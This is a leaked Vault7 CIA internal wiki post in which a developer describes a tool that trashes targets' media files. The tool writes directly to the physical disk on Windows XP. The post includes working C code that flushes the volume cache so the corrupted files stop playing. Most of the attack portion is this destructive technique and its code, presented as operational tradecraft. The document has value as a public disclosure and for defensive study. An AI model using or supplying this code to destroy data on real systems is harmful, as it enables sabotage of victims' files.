Vault7: CIA Hacking Tools Revealed
Navigation: » Directory » User #71473
Owner: User #71473
Wait, didn't I just securely delete that file?
SECRET//NOFORN
So User #71468 is working on a tool to (among other things) trash somebody's files. Handles are being stolen, files are being corrupted, its all good! It reminded me of another tool written by User #75251 back in the day with a little help from yours truly.
We were trashing data. It was awesome. We were even overwriting files opened for exclusive write by using direct writes to the physical drive (XPWindows operating system (Version) only folks, Vista and up broke the ability to do that.) We were targeting multimedia files, and the requirements said "thou shalt interrupt playback". We figured trashing the files at such a low level would obviously stop the playback, right? No bytes, no playback? Turns out, we were wrong. The system's filesystem read cache was happilly keeping the entire file in memory and the media player was happily playing it from the cache as if nobody had come in and barfed garbage bytes all over the clusters. Frustration ensued. Rage++... but what were we to do?
The answer came from a single StackOverflow post that mentioned a side-effect of opening a volume handle in a peculiar way. Although the author of the post cautioned the technique may not be reliable, we found in our testing that it was 100% effective on our target platform (Windows XPWindows operating system (Version) x64).
Here's the code in question:
// we have a global volume handle for use by our direct write calls
HANDLE hVolHandle = INVALID_HANDLE_VALUE;
BOOL FlushCache()
{
// close th volume handle if it is currently open so we can reopen it with MAGIC!
if (hVolHandle != INVALID_HANDLE_VALUE)
{
CloseHandle(hVolHandle);
hVolHandle = INVALID_HANDLE_VALUE;
}
// Notice the FILE_SHARE_READ without FILE_SHARE_WRITE... you can't open a volume handle for exclusive write...
HANDLE hFile = CreateFile(m_szVolumeName, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // this is really all we need, allegedly
if (hFile != INVALID_HANDLE_VALUE)
{
//we should never be able to open a volume this way, but if we somehow did, we need to close that funky handle
CloseHandle(hFile);
}
else
{
DWORD le = GetLastError();
// if we failed for any reason other than a sharing violation or access denied, then it didn't work
if (le != ERROR_SHARING_VIOLATION && le != ERROR_ACCESS_DENIED)
{
return FALSE;
}
}
if (hVolHandle == INVALID_HANDLE_VALUE)
{
// reopen the handle with normal permissions
if( (hVolHandle = CreateFileW(m_szVolumeName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH | FILE_FLAG_NO_BUFFERING, NULL)) == INVALID_HANDLE_VALUE )
{
return FALSE;
}
}
return TRUE;
}
Once we added that function in and called it after trashing a certain number of bytes or files, we suddenly started seeing playback of media files interrupted as requested by the customer. And it was good.
Now, with the way User #71468 is stealing handles, he may not actually need this technique. But if he does, it will be right here waiting for him.
#getoffmylawn
#obliqueRichardMarxReference
SECRET//NOFORN